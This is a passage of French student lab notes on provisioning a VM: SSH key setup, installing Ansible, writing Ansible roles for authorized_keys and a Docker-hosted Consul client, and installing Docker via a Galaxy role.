ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P 

Puis on copie id-ed25519.pub dans /root/.ssh/authorized_keys dans notre VM

Clonage du GIT

export https_proxy="http://proxy.plil.fr:3128"

git clone https://github.com/thomas-maurice/polytech-asr-lab.git

Installation de Ansible

Dans le fichier inventory

pra-05 ansible_ssh_host="172.26.145.105"

On créé un virtualenv, on l'active et on installe ansible.

python3 -m venv ~/env-ansible
. ~/env-ansible/bin/activate
pip3 install -U setuptools wheel
pip3 install -U ansible

Il a fallu modifier la ligne de security updates dans /etc/apt/sources.list de notre VM afin de pouvoir utiliser apt. Puis on peut run.

ansible-playbook -v -i inventory polytech.yaml

SSH Key role

Création des répertoire /roles/ssh_key/tasks et /roles/ssh_keys/template

tasks/main.yml :

- name: "SSH Key role"
  template:
    src: authorized_key.j2
    dest: /root/.ssh/authorized_keys
    owner: root
    group: root
    mode: "0600"
src: fichier avec la fonction a réaliser
dest: fichier destination dans notre VM
mode : permission

template/authorized_key.j2 :

{% for item in ssh_keys %}
{{ item.key }}
{% endfor %}

ssh_key est une liste dans le fichier group_vars/all.yaml on regarde donc chaque element de cette liste et on cope la valuer pour le clef 'key'

Pour que ce script soit lancé, il faut ajouté dans polytech.yaml le rôle ssh_key Il faut également ajouter notre clef dnas group_vars/all.yaml afin qu'elle soit aussi copié

On relance ensuite la commande afin de réaliser le script

ansible-playbook -v -i inventory polytech.yaml

Installation de Docker

ansible-galaxy install geerlingguy.docker

On le rajoute au polytech.yaml

Firewall

Non nécessaire

Consul

Création d'un role consul avec un fichier de configuration :

{
  "datacenter": "polytech",
  "data_dir": "/var/lib/consul",
  "log_level": "INFO",
  "node_name": "Ln&Cam",
  "server": false
}

Création d'un fichier consul/tasks/main.yml pour créer un consul client, les répertoires /etc/consul et /var/lib/consul et lancer consul via docker

---
- name: "Create consul user"
  user:
    name: consul
    group: consul
    uid: 666
    gid: 666
- name: "Create directory /etc/consul"
  file:
    path: /etc/consul
    state: directory
    owner: consul
    group: consul
- name: "Create directory /var/lib/consul"
  file:
    path: /var/lib/consul
    state: directory
    owner: consul
    group: consul
- name: "Configuration file for consul"
  copy:
    src: config_consul.json
    dest: /etc/consul/server.json
    owner: consul
    group: consul
- name: "Launch consul"
  docker_container:
    name: consul_docker
    groups : 
     - consul
    user: consul
    image: bitnami/consul
    volume: 
      - /etc/consul/
    network_mode: host

Pour que ce script soit lancé, il faut ajouté dans polytech.yaml